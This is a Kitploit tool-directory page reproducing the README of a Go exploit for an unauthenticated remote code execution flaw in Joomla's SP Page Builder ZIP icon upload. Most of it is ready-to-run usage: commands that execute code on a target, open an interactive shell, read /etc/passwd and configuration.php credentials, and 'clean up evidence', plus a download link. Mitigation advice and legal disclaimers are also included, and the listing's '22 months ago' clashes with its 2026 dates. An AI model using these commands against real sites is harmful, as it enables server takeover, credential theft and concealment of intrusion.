Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-48908-SP-Page-Builder-Joomla — CVE-2026-48908 - SP Page Builder Joomla Unauthenticated RCE | Kitploit
Tools/GitHubGitHub/gagaltotal/cve-2026-48908-sp-page-builder-joomla
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubgagaltotal/cve-2026-48908-sp-page-builder-joomla

CVE-2026-48908-SP-Page-Builder-Joomla

CVE-2026-48908 - SP Page Builder Joomla Unauthenticated RCE

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-48908: SP Page Builder Joomla Unauthenticated RCE

Proof of Concept exploit for CVE-2026-48908, an unauthenticated Remote Code Execution vulnerability in Joomla SP Page Builder component.

Vulnerability Overview

CVE-2026-48908 is a critical security vulnerability that allows unauthenticated attackers to execute arbitrary code on vulnerable Joomla installations through improper handling of ZIP file extraction in the SP Page Builder component.

Technical Details

  • CVE ID: CVE-2026-48908
  • Component: com_sppagebuilder
  • Vulnerable Versions: <= 6.6.1
  • Fixed Version: 6.6.2
  • Attack Vector: Network-based, unauthenticated
  • CVSS Score: Critical
  • Vulnerability Type: Arbitrary File Upload / ZIP Extraction RCE
  • Attack Endpoint: index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon

Root Cause

The vulnerability exists in the asset upload functionality where the application improperly validates and extracts ZIP files containing icon assets. An attacker can craft a malicious ZIP file with PHP payloads that will be extracted to the web-accessible directory, allowing remote code execution.

Requirements

  • Go 1.26.4 or later
  • Network access to target Joomla installation
  • Valid target URL

Dependencies

  • golang.org/x/term - Terminal utilities for secure password input

Installation

From Source

root@kitploit:~
git clone https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
cd CVE-2026-48908-SP-Page-Builder-Joomla
go mod init CVE-2026-48908-SP-Page-Builder-Joomla
go mod download
or
go mod tidy
go build -o poc_tot poc_tot.go

Pre-built Binary

Compiled binaries are available in the releases section.

Usage

Screen Capture

Basic Command Execution

Screen Capture

root@kitploit:~
./poc_tot -target http://target-site.com -cmd "whoami"

Interactive Shell

root@kitploit:~
./poc_tot -target http://target-site.com -shell

Vulnerability Assessment

root@kitploit:~
./poc_tot -target http://target-site.com -check

Cleanup

root@kitploit:~
./poc_tot -target http://target-site.com -cleanup

Using Custom Token (if available)

root@kitploit:~
./poc_tot -target http://target-site.com -cmd "id" -token "your_joomla_token"

Command-line Options

root@kitploit:~
-target string
    Target URL of vulnerable Joomla installation (required)
    Example: http://target.com or https://target.com

-cmd string
    System command to execute on target
    Example: "cat /etc/passwd"

-shell
    Launch interactive shell on target (requires successful exploitation)

-check
    Check if target is vulnerable without attempting exploitation

-cleanup
    Remove uploaded shell and artifacts from target

-token string
    CSRF token for exploitation (optional, auto-detected if not provided)

Exploitation Methods

The tool supports multiple exploitation vectors:

  1. Direct PHP Upload - Uploads PHP files directly to executable paths
  2. Directory Traversal - Uses path traversal to bypass restrictions
  3. Archive Manipulation - Crafts malicious ZIP archives with embedded payloads
  4. Extension Spoofing - Uses double extensions and case variations

Examples

Reconnaissance

root@kitploit:~
./poc_tot -target http://vulnerable.local -check

Execute Single Command

root@kitploit:~
./poc_tot -target http://vulnerable.local -cmd "ls -la /var/www/html"

Retrieve Sensitive Files

root@kitploit:~
./poc_tot -target http://vulnerable.local -cmd "cat configuration.php"

Interactive Access

root@kitploit:~
./poc_tot -target http://vulnerable.local -shell
# In shell:
> id
> whoami
> pwd

Clean Up Evidence

root@kitploit:~
./poc_tot -target http://vulnerable.local -cleanup

Security Considerations

For Administrators

If you are running Joomla with SP Page Builder component:

  1. Update Immediately: Upgrade to SP Page Builder 6.6.2 or later
  2. Disable Component: If immediate update is not possible, disable com_sppagebuilder
  3. Monitor Logs: Check web server logs for suspicious activity
  4. Restrict Permissions: Ensure proper file permissions on web directories
  5. Web Application Firewall: Deploy WAF rules to block exploitation attempts

For Security Researchers

  • Only use this tool on systems you own or have explicit authorization to test
  • Test in isolated environments first
  • Document all findings appropriately
  • Follow responsible disclosure practices
  • Do not use for unauthorized access

Disclaimer

This software is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. The authors do not accept responsibility for misuse or damage caused by this tool. Users are responsible for ensuring they have proper authorization before using this tool on any target system.

By using this tool, you acknowledge that:

  • You will only use it on systems you own or have written authorization to test
  • You understand the legal implications and accept full responsibility
  • The authors are not liable for any damage or legal consequences
  • You will comply with all applicable laws and regulations

Legal Notice

This tool is intended for defensive security research and authorized penetration testing only. Unauthorized access to computer systems violates the Computer Fraud and Abuse Act and similar laws in other jurisdictions. Always obtain proper authorization in writing before performing security testing.

References

  • Joomla Official Security Center: https://docs.joomla.org/Security_Checklist
  • SP Page Builder: https://www.sp-components.com/
  • CVE-2026-48908 Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48908

Mitigation

Immediate Actions

  1. Apply security update to version 6.6.2 or later
  2. If update not available, disable component: index.php?option=com_installer&view=manage
  3. Check error logs for exploitation attempts
  4. Review file system for suspicious PHP files in media directories

Long-term Security

  1. Keep Joomla and all components updated
  2. Implement automated security scanning
  3. Use security headers and WAF rules
  4. Monitor file integrity
  5. Maintain regular backups
  6. Implement principle of least privilege

Contributing

Security research contributions are welcome. Please:

  1. Report vulnerabilities responsibly
  2. Follow the existing code style
  3. Include detailed documentation
  4. Test thoroughly before submission

Author

GhostGTR666 (Gagaltotal666)

  • GitHub: https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
  • Email: Contact via GitHub

Changelog

Version 1.0.0

  • Initial release
  • Support for multiple exploitation vectors
  • Interactive shell functionality
  • Vulnerability checking and cleanup operations

Support

For issues, questions, or contributions:

  1. Check existing GitHub issues
  2. Review error messages and logs
  3. Ensure target URL is correct and accessible
  4. Verify proper authorization before testing

License

This project is provided as-is for security research purposes. Review local laws regarding security tools and penetration testing before use.

Last Updated: 2026-06-24

Disclaimer: This tool is intended for authorized security testing only. Unauthorized access to computer systems is illegal.

Download Tool